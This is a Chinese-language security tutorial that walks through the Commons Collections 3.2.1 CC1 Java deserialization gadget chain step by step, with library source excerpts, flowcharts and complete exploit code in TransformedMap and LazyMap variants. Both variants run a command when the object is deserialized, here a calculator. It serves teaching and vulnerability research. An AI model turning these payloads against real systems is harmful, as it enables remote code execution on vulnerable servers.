jdk版本8u65,cc依赖版本是3.2.1,在8u71修改了AnnotationInvocationHandler导致这条链用不了了
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
下载的jdk,sun包是没有源码的,在jdk的目录解压src,然后下载
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4,解压,然后把src/share/classes目录的sun的目录拷到jdk的src
然后在idea项目结构->SDK->源路径(Sourcepath)添加src的路径
Java反序列化流程图
flowchart LR
A[接收任意对象<br/>执行<br/>readObject<br/>方法] --> B[A.readObject<br/>O.aaa<br/><br/><small>可序列化<br/>重写readObject<br/>接收任意对象作为参数</small>]
B --> C[O.aaa<br/>O2.xxx<br/><br/><small>可序列化<br/>集合类型/接收<br/>Object/接收Map</small>]
C --> D[O3.abc]
D --> E[危险方法<br/><br/><small>r.exec<br/>不同类型的同名函数<br/>任意方法调用反射/<br/>动态调用数字节码</small>]
入口在外部库的Maven:commons-collections:commons-collections:3.2.1->commons-collections-3.2.1.jar->org.apache.commons.collections->transformer
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object. * * @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/ public Object transform(Object input);
}
我们看看这个Transformer接口的实现快捷键如下
mac:win+alt+b
win:ctrl+t
主要看ChainedTransformer
ChainedTransformer实现了链式转换器模式,它可以将多个Transformer对象串联起来,依次执行转换操作。每个Transformer的输出会作为下一个Transformer的输入。
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super(); // 调用父类构造函数
iTransformers = transformers; // 直接将传入的Transformer数组赋值给实例变量,不做拷贝或验证
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
// 遍历所有的Transformer
for (int i = 0; i < iTransformers.length; i++) {
// 将当前object作为参数调用第i个Transformer的transform方法
// 并将返回值重新赋值给object,作为下一个Transformer的输入
object = iTransformers[i].transform(object);
}
return object; // 返回最终转换后的结果
}
在看一个实现类InvokerTransformer
InvokerTransformer实现了Transformer接口,其核心功能是:接收一个对象作为输入,通过反射调用该对象的指定方法,并返回方法执行的结果。
/**
* Constructor for no arg instance.
*
* @param methodName the method to call
*/
private InvokerTransformer(String methodName) {
super(); // 调用父类构造函数
iMethodName = methodName; // 保存要调用的方法名
iParamTypes = null; // 参数类型数组为null,表示无参方法
iArgs = null; // 参数值数组为null,表示无参方法
}
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super(); // 调用父类构造函数
iMethodName = methodName; // 保存要调用的方法名
iParamTypes = paramTypes; // 保存方法参数类型数组(不进行克隆)
iArgs = args; // 保存方法参数值数组(不进行克隆)
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
// 如果输入为null,直接返回null
if (input == null) {
return null;
}
try {
// 获取输入对象的Class对象
Class cls = input.getClass();
// 通过反射获取指定名称和参数类型的Method对象
Method method = cls.getMethod(iMethodName, iParamTypes);
// 调用该方法,传入输入对象作为调用者,iArgs作为参数
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
// 方法不存在时抛出异常
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
// 方法无法访问时抛出异常(如private方法)
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
// 方法执行时抛出异常
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
方法、值、参数类型、参数全都是自己可以控制的。 这其实就是一个任意方法调用。 我们先用这个方法弹个计算器试试
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
public class CC1Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc"); // 直接调用计算器
// 通过反射调用命令执行打开计算器
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
现在我们找到了一个InvokerTransformer.transform是一个危险方法
flowchart LR
A[接收任意对象<br/>执行<br/>readObject<br/>方法] --> B[A.readObject<br/>O.aaa<br/><br/><small>可序列化<br/>重写readObject<br/>接收任意对象作为参数</small>]
B --> C[O.aaa<br/>O2.transform<br/><br/><small>可序列化<br/>集合类型/接收<br/>Object/接收Map</small>]
C --> D[InvokerTransformer.transform]
D --> E[危险方法<br/><br/><small>r.exec<br/>不同类型的同名函数<br/>任意方法调用反射/<br/>动态调用数字节码</small>]
往回找谁调用了transform
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
transform鼠标在,然后快捷键查找全部用法
mac:alt+F7
win:ctrl+G
要找不同名调用transform,之后的目标是回到readObject
org.apache.commons.collections.map
找到了一个checkSetValue方法
/**
* Override to transform the value when using <code>setValue</code>.
** @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/protected Object checkSetValue(Object value) {
return valueTransformer.transform(value); // 这里实际上只对value进行操作了
}
我们看看valueTransformer是什么,看看构造函数。
TransformedMap类的构造器是protected类型的,肯定是要被自己调用的。
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map); // 调用父类构造函数,传入要装饰的Map
this.keyTransformer = keyTransformer; // 保存key转换器
this.valueTransformer = valueTransformer; // 保存value转换器
}
因为这个是保护方法,我们看看是在哪里调用的,在decorate调用了。
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
* Constrast this with {@link #decorateTransform}.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no transformation
* @param valueTransformer the transformer to use for value conversion, null means no transformation
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer); // 创建并返回TransformedMap实例
}
先写着试一下
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc"); // 直接调用计算器
// 通过反射调用命令执行打开计算器
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
// checkSetValue实际上只对valueTransformer操作了,所以keyTransformer就不赋值了
TransformedMap.decorate(map,null,invokerTransformer);
}
decorate是一个静态方法。
checkSetValue的vulue也不确定是否能控制
看看那里调用了checkSetValue查找全部用法,只有一处调用了在AbstractInputCheckedMapDecorator,可以发现其实是TransformedMap的父类,是一个抽象类。
这里边有一个MapEntry类调了setValue方法
/**
* Implementation of a map entry that checks additions via setValue.
*/
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent; // 保存父Map的引用
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry); // 调用父类构造函数,传入要装饰的Entry
this.parent = parent; // 保存父Map引用
}
public Object setValue(Object value) {
value = parent.checkSetValue(value); // 调用父类的checkSetValue方法,触发valueTransformer
return entry.setValue(value); // 设置转换后的值
}
}
查找全部用法setValue在那调用了,有比较多尝试理解一下
Entry是hashmap遍历的时候是一个健值对就叫Entry
比如遍历数组有这种方式
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
for (Map.Entry entry : map.entrySet()) {
entry.getValue();
}
setValue就是Entry的setValue他重写了这个方法,也就说我们去遍历这个被修饰过的map就会走到这个setValue方法就会调用checkSetValue->TransformedMap调用到我们想执行的valueTransformer.transform
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc"); // 直接调用计算器
// 通过反射调用命令执行打开计算器
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
// checkSetValue实际上只对valueTransformer操作了,所以keyTransformer就不赋值了
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}
flowchart LR
A[接收任意对象<br/>执行<br/>readObject<br/>方法] --> B[A.readObject<br/>O.aaa<br/><br/><small>可序列化<br/>重写readObject<br/>接收任意对象作为参数</small>]
B --> C[Map.Entry O.checkSetValue<br/>O2.transform<br/><br/><small>可序列化<br/>集合类型/接收<br/>Object/接收Map</small>]
C --> D[InvokerTransformer.transform]
D --> E[危险方法<br/><br/><small>r.exec<br/>不同类型的同名函数<br/>任意方法调用反射/<br/>动态调用数字节码</small>]
现在需要找到一个Entry遍历数组,然后它调了setValue方法就可以把我们的transformedMap传进去。
回去继续找谁调了setValue最好是readObject调了setValue的
在jdk的sun.reflect.annotation包AnnotationInvocationHandler类有一个readObject调了setValue
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // 默认反序列化
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); // 获取注解类型实例
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 获取注解成员类型
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // 遍历所有成员值
String name = memberValue.getKey(); // 获取成员名
Class<?> memberType = memberTypes.get(name); // 获取对应的成员类型
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue(); // 获取成员值
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) { // 如果类型不匹配
memberValue.setValue( // 这里调用Map.Entry的setValue方法!
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
看看这个类的构造函数
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type; // 注解类型
private final Map<String, Object> memberValues; // 注解成员值的Map
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
// 验证传入的type必须是注解类型
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type; // 保存注解类型
this.memberValues = memberValues; // 保存成员值Map
}
AnnotationInvocationHandler类没有修饰符,只能本包可以访问sun.reflect.annotation,所以我们需要用反射获取。
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc"); // 直接调用计算器
// 通过反射调用命令执行打开计算器
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
// checkSetValue实际上只对valueTransformer操作了,所以keyTransformer就不赋值了
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for (Map.Entry entry : transformedMap.entrySet()) {
// entry.setValue(r);
// }
// 反射获取AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射创建,获取构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 设置可访问
annotationInvocationHandlerConstructor.setAccessible(true);
// 实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("CC1.obj")
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.obj"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
现在有三个问题
第一个问题,setValue()要传Runtime对象,但是AnnotationInvocationHandler类传的AnnotationTypeMismatchExceptionProxy对象,而不是我们需要的Runtime.class。
第二个是memberType类型不为空值,这里type是传入的Override.class,annotationType.memberTypes()为调用出入class的成员方法,所以,传入的class类中必须存在成员方法,且成员变量的key值必须与map中的key值相同,而Override.class的成员方法为空值。
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
第三个问题Runtime对象是自己生成的,是不能序列化的因为没有继承Serializable接口,继续通过反射弄出来。
先解决不能序列化的问题
// 正常反射写法
// Class c1 = Runtime.class;
// // 构造器是私有的,但是有个getRuntime方法是静态的直接调用这个
// Method getRuntimeMethod = c1.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
// 后一个调前一个是transform的循环调用,前面看有一个ChainedTransformer类可以干这个
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
解决第一个问题
我们需要找一个有抽象方法的class同时Map的key还得改成抽象方法的名字,我们可以用Target,Targe有个抽象方法还有个value。
第二个问题
ConstantTransformer是一个简单的Transformer实现,它的特点是:无论输入什么对象,都返回构造时指定的常量对象。
/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable {
/** Serial version UID */
private static final long serialVersionUID = 6374440726369055124L;
/** Returns null each time */
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null); // 预定义的返回null的实例
/** The closures to call in turn */
private final Object iConstant; // 存储要返回的常量对象
/**
* Transformer method that performs validation.
*
* @param constantToReturn the constant object to return each time in the factory
* @return the <code>constant</code> factory.
*/
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE; // 如果常量是null,返回预定义的NULL_INSTANCE
}
return new ConstantTransformer(constantToReturn); // 否则创建新实例
}
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super(); // 调用父类构造函数
iConstant = constantToReturn; // 保存常量对象,注意这里不做任何验证
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant; // 核心方法:忽略输入,直接返回保存的常量
}
/**
* Gets the constant.
*
* @return the constant
* @since Commons Collections 3.1
*/
public Object getConstant() {
return iConstant; // getter方法,返回内部保存的常量
}
}
虽然最后那个我们控制不了,但是我们只要最后那个点调用ConstantTransformer.transform就可以从它这边入手。
new ConstantTransformer(Runtime.class)他把输入的value变成了Runtime.class
通过图解来理解整个过程:
没有ConstantTransformer的情况:
┌─────────────────────────────┐
│ ChainedTransformer.transform│
└──────────┬──────────────────┘
│ 输入: AnnotationTypeMismatchExceptionProxy
▼
┌─────────────────────────────┐
│ InvokerTransformer[0] │
│ ("getMethod") │
│ 需要: Runtime.class │
│ 实际: ExceptionProxy │
└─────────────────────────────┘
使用ConstantTransformer的情况:
┌─────────────────────────────┐
│ ChainedTransformer.transform│
└──────────┬──────────────────┘
│ 输入: AnnotationTypeMismatchExceptionProxy
▼
┌─────────────────────────────┐
│ ConstantTransformer │
│ 忽略输入! │
│ 返回: Runtime.class ✓ │
└──────────┬──────────────────┘
│ 输出: Runtime.class
▼
┌─────────────────────────────┐
│ InvokerTransformer[0] │
│ ("getMethod") │
│ 输入: Runtime.class ✓ │
└─────────────────────────────┘
完整的
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc"); // 直接调用计算器
// 通过反射调用命令执行打开计算器
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer的写法
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
// 正常反射写法
// Class c1 = Runtime.class;
// // 构造器是私有的,但是有个getRuntime方法是静态的直接调用这个
// Method getRuntimeMethod = c1.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
// 改成InvokerTransformer
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
// 后一个调前一个是transform的循环调用,前面看有一个ChainedTransformer类可以干这个
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
// checkSetValue实际上只对valueTransformer操作了,所以keyTransformer就不赋值了
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// for (Map.Entry entry : transformedMap.entrySet()) {
// entry.setValue(r);
// }
// 反射获取AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射创建,获取构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 设置可访问
annotationInvocationHandlerConstructor.setAccessible(true);
// 实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("CC1.obj");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.obj"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
flowchart LR
A[接收任意对象<br/>执行<br/>readObject<br/>方法] --> B[AnnotationInvocationHandler.readObject<br/><br/><small>可序列化<br/>重写readObject<br/>接收任意对象作为参数</small>]
B --> C[Map.Entry <br/> TransformedMap.checkSetValue<br/><br/><br/><small>可序列化<br/>集合类型/接收<br/>Object/接收Map</small>]
C --> D[ChainedTransformer.transform]
D --> E[危险方法<br/><br/><small>r.exec<br/>不同类型的同名函数<br/>任意方法调用反射/<br/>动态调用数字节码</small>]
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
这后半部分跟上面是一样的,前半部分不太一样
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这条链大概是
flowchart LR
A[AnnotationInvocationHandler.readObject] --> B[LazyMap.get]
B --> C["Proxy(AnnotationInvocationHandler).xxx<br/>调用类任意方法就可以调到invoke方法"]
C --> D[ChainedTransformer.transform]
D --> E["危险方法<br/>r.exec()"]
分析
org.apache.commons.collections.functors包的transform方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
查找transform的全部用法在org.apache.commons.collections.map包,除了我们上面用到的TransformedMap类的 checkSetValue方法,还有LazyMap类和DefaultedMap类,这条链就是用了LazyMap类的get方法
AnnotationInvocationHandler的invoke方法调了get,invoke方法是外部有方法调用就会调,用动态代理。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
想调这个invoke先放到动态代理里面
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
// 使用第一条链(TransformedMap)
// cc1TransformedMapChain();
// 使用第二条链(LazyMap)
cc1LazyMapChain();
}
/**
* CC1链 - TransformedMap方式
* Gadget chain:
* ObjectInputStream.readObject() * AnnotationInvocationHandler.readObject() * Map.Entry.setValue() * TransformedMap.checkSetValue() * ChainedTransformer.transform() */ public static void cc1TransformedMapChain() throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 创建TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 反射获取AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
// 序列化和反序列化
serialize(o, "CC1_TransformedMap.obj");
unserialize("CC1_TransformedMap.obj");
}
/**
* CC1链 - LazyMap方式(通过动态代理)
* Gadget chain:
* ObjectInputStream.readObject() * AnnotationInvocationHandler.readObject() * Map(Proxy).entrySet() * AnnotationInvocationHandler.invoke() * LazyMap.get() * ChainedTransformer.transform() */ public static void cc1LazyMapChain() throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 创建LazyMap
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// 反射获取AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 创建第一个InvocationHandler实例
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
// 创建Map的动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
// 创建第二个AnnotationInvocationHandler实例,包装代理对象
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
// 序列化和反序列化
serialize(o, "CC1_LazyMap.obj");
unserialize("CC1_LazyMap.obj");
}
/**
* 序列化对象到文件
*/
public static void serialize(Object obj, String filename) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(obj);
oos.close();
}
/**
* 从文件反序列化对象
*/
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}